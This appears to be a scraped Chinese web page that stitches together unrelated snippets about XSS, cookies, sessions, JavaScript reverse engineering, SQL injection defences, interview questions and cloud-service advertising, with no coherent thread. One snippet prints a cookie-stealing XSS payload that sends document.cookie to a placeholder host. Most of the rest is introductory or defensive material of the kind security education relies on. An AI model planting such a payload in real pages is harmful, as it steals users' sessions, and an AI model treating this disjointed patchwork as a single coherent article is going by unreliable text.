XSS的用途之一就是窃取用户的cookie，攻击者利用XSS在网页中插入恶意脚本，一旦用户访问该网页，cookie就会自动地发送到攻击者的服务器中去。
HTTP Cookie（也叫 Web Cookie 或浏览器 Cookie）是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常，它用于告知服务端两个请求是否来自同一浏览器，如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
IE浏览器（Microsoft Internet Explorer） 对URL长度限制是2083（2K+53），超过这个限制，则自动截断（若是form提交则提交按钮不起作用）。中文字符的话只有2083/9=231个字符。
我所在的城市昨天出了近20+的阳性案例，但这丝毫没有 影响 到996的工作时间，当然，也没有影响到我想继续更新文章的决心。
XSS的全名为：Cross Site Scripting。它的详细说明，大家可以自己百度了解一下，这里就不浪费篇幅了。
在早期 ， 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script> 将
跨站脚本攻击XSS，是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。
Cookie 为 Web 应用程序保存用户相关信息提供了一种有用的方法。例如，当用户访问咱们的站点时，可以利用 Cookie 保存用户首选项或其他信息，这样，当用户下次再访问咱们的站点时，应用程序就可以检索以前保存的信息。
aHR0cHM6Ly9saXN0Lm1vZ3UuY29tL3NlYXJjaC9nb29kcz9xPSVFNSVCNyVBNSVFOCVBMyU4NSVFOCVBMyVBNA==
打开VLC，点击媒体 -> 打开网络串流，添加网络流媒体链接： rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mp4
0x01 初步分析阶段 首先拿到题目，看到留言板，第一反应就是XSS。 但是看过题目提示后，有些不确定。 所以开始分析整道题目。 首先，观察network页面，查看主页面的响应。 发现是通过js进行子
0x01 分析题目 拿到题目后，首先先分析一下题目，发现有注册和登录，尝试登录成功后，发现如下几个页面 Overview // 显示当前自己所有发帖 Write article // 发帖 Repor
大部分网站都会对关键参数进行加密，JS 逆向时，我们首要任务是定位参数具体的加密逻辑。
这篇文章是公众号《云爬虫技术研究笔记》的《JS逆向分析“攒经验”项目》的第一篇：《某交易所Sign加密参数逆向分析》
纪念下偷偷登上萌新榜第一的比赛，也实现了比赛前的愿望，0ctf争取不0分，rsctf争取高名次，:>
Java是一种OOP编程语言, 它创建在虚拟机或浏览器中运行的应用程序, 需要编译Java代码。 JavaScript是一种OOP脚本语言, 代码只在浏览器上运行, JS代码都是文本的形式。
cookie的本质是存储在浏览器端的一段简单数据（多个键值对），浏览器会从服务器接受或者发送给服务器cookie。这样便可以为没有状态的HTTP协议提供了记录状态信息的方法，知道多个不同的HTTP请求是否来自同一个浏览器。
前些天打了巅峰极客，遇到了一题 session 反序列化，借此机会整理一下php session 反序列化的前生今世，愿与君共勉，如若有错，还望斧正
JavaScript 是一种轻量级的解释型编程语言，具有面向对象的特性，允许各位在其他静态HTML页面中构建交互性。 该语言的通用核心已嵌入Netscape，Internet Explorer和其他Web浏览器中。
详细资料可以参考：《浅谈模块化开发》《Javascript 模块化编程（一）：模块的写法》《前端模块化：CommonJS，AMD，CMD，ES6》《Module 的语法》
Cookie Hook 用于定位 Cookie 中关键参数生成位置，以下代码演示了当 Cookie 中匹配到了 v 关键字， 则插入断点
过滤，顾名思义，就是将提交上来的数据中的敏感词汇直接过滤掉。例如对"<script>"、""、""等标签进行过滤，有的是直接删除这类标签中的内容，有的是过滤掉之类标签中的on事件或是'javascript'等字符串，让他们达不到预期的DOM效果。
我们已经知道，在 document 对象中有一个 cookie 属性。但是 Cookie 又是什么？“某些 Web 站点在您的硬盘上用很小的文本文件存储了一些信息，这些文件就称为 Cookie。”—— MSIE 帮助。一般来说，Cookies 是 CGI 或类似，比 HTML 高级的文件、程序等创建的，但是 javascript 也提供了对 Cookies 的很全面的访问权利。
其中协议版本HTTP/1.1或者HTTP/1.0，200就是它的状态码，OK则为它的描述。
跨站脚本攻击（XSS）是客户端安全的头号大敌，OWASP TOP 10多次把xss列在榜首。
1、介绍js的基本数据类型 答： Undefined、Null、Boolean、Number、String
通常指攻击者通过“HTML注入”篡改网页，插入恶意脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击手段 。
的确，现在 web 逆向的大佬越来越多，瑞数之前的 js 逆向天花板也变成二线加密的一员。
刷完了XSS challenge和XSS game 对XSS漏洞有了些许认识 在此做个小结与记录
没错，你看到的 QQ 浏览器，360 浏览器等等等等都是基于 Google 浏览器开源框架构造。优势需要说嘛？碾压 IE 内核 所以骚年，不动手打造一个属于你自己的浏览器？
ip地址: 计算机在网络中的唯一标识, 就是用来定位计算机的 缺点: 不好记
//当前点击的标签添加样式，同级别其他标签移除样式 $(this).addClass('hover').siblings().removeClass('hover'); //执行完改Ajax后执行下一步 同步 async:false //{%$argv(0)%}（公司写法）获取页面传入的id id="title_1" var type = "{%$argv(0)%}"; if (type != "") { $("#title_" + type + "").click(); } //默认点击第一个
在爬取某些网站的时候，获取的返回数据不是意料中的html，而是一大串毫无格式的js，例如：
原本昨天就要发文章的了，由于之前的pdd文章被投诉了，删除了，影响心情的同时也不敢乱发文章了，所以就暂时歇了一天，也改了另外一个网站，就是今天的物流网站。如果大家某天看不到我发文了，估计我也是被举报完了，到时想要看的可以去我的GitHub上看。
http: 超文本传输协议，是互联网上应用最为广泛的一种网络协议，是一个客户端和服
SQL注入： 所谓SQL注入，就是通过把SQL命令插入到提交的Web表单或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，导致数据库中的信息泄露或者更改。 防范： 1.永远不要信任用户的输入,将用户输入的数据当做一个参数处理： 使用参数化的形式，也就是将用户输入的东西以一个参数的形式执行，而不是将用户的输入直接嵌入到SQL语句中，用户输入就被限于一个参数。 2.避免提示详细的错误信息： 当用户输入错误的时候，避免提示一些详细的错误信息，因为黑客们可以利用这些消息，使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。 3. 加密处理： 将用户登录名称、密码等数据加密保存。加密用户输入的数据，然后再将它与数据库中保存的数据比较，这相当于对用户输入的数据进行了“消毒”处理，用户输入的数据不再对数据库有任何特殊的意义，从而也就防止了攻击者注入SQL命令。 4.确保数据库安全： 锁定你的数据库的安全，只给访问数据库的web应用功能所需的最低的权限，撤销不必要的公共许可，如果web应用不需要访问某些表，那么确认它没有访问这些表的权限。如果web应用只需要只读的权限，那么就禁止它对此表的 drop 、insert、update、delete 的权限，并确保数据库打了最新补丁。
XSS测试就是在容易出现XSS注入的地方输入被测代码，提交后观察其显示是否会触发JavaScript脚本。常用的XSS测试JavaScript脚本主要就下面两个。
由于web应用大多数都在浏览器中进行操作，所以我们有必要先了解一下浏览器里面到底发生了什么。简而言之，当你在浏览器的地址栏中输入网址并按下回车，或者点击了网页上的某个链接时，浏览器就会按照网址给目标服务器发送请求。浏览器和服务器之间的请求遵循http协议，协议规定了所使用的格式，只有按照这种格式组织的数据才能相互识别。
案例地址：https://www.dsedt.gov.mo/zh_CN/pg_home
大家好，又见面了，我是你们的朋友全栈君。 AJAX 1，Ajax 是什么? 如何创建一个Ajax？ ajax的全称：Asynchronous Javascript And XML。异步传输+js+x
此篇博客为自己学习pink老师的课后完成的项目的总结与记录，仅供交流参考。版权所有，转载请标注原作者！ 使用echarts技术做的可视图，此外其项目包含 的技术有html、css、js、jquerry、ajax、websocket、koa等。
会话技术: 会话是什么? 浏览器和服务器交互,浏览器打开网页访问服务器,会话开始,正常交互. 浏览器关闭,会话结束. 会话能干什么? 会话可以共享数据. Cook
前端基础打卡已经基本结束了,内容从css基础,动画,js基本算法,作用域,闭包,节流防抖这些基本的web知识大家有没有都掌握了呢?年后会出一个进阶路线规划图,希望笔者可以带着大家,一起进步,一起成长.
由于 HTTP 协议是无状态的协议，所以服务端需要记录用户的状态时，就需要用某种机制来识具体的用户，这个机制就是 Session. 典型的场景比如购物车，当你点击下单按钮时，由于 HTTP 协议无状态，所以并不知道是哪个用户操作的，所以服务端要为特定的用户创建了特定的 Session，用用于标识这个用户，并且跟踪用户，这样才知道购物车里面有几本书。这个 Session 是保存在服务端的，有一个唯一标识。在服务端保存 Session 的方法很多，内存、数据库、文件都有。集群的时候也要考虑 Session 的转移，在大型的网站，一般会有专门的 Session 服务器集群，用来保存用户会话，这个时候 Session 信息都是放在内存的，使用一些缓存服务比如 Memcached 之类的来放 Session。
图片 逆向目标 猿人学 - 反混淆刷题平台 Web 第五题：js 混淆，乱码增强 目标：抓取全部 5 页直播间热度，计算前 5 名直播间热度的加和 主页：https://match.yuanrenx
例如同一个域名 CDN 服务器上的 a.js，b.js，c.js 就可以按如下方式在一个请求中下载：
随着近两年来互联网潮流的发展，不少人选择php程序开发的学习。所以今天济南IT培训优就业的老师将与大家一起聊一聊PHP面试会问什么?、 PHP程序员经典面试问题 1、PHP的意思，它能干些什么? PH
XSS攻击是指在网页中嵌入一段恶意的客户端Js脚本代码片段，JS脚本恶意代码可以获取用户的Cookie、URL跳转、内容篡改、会话劫持……等。
本文章产生的缘由是因为专业老师，让我给本专业的同学讲一哈SQL注入和XSS入门,为了备课，于是产生了这篇文章。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
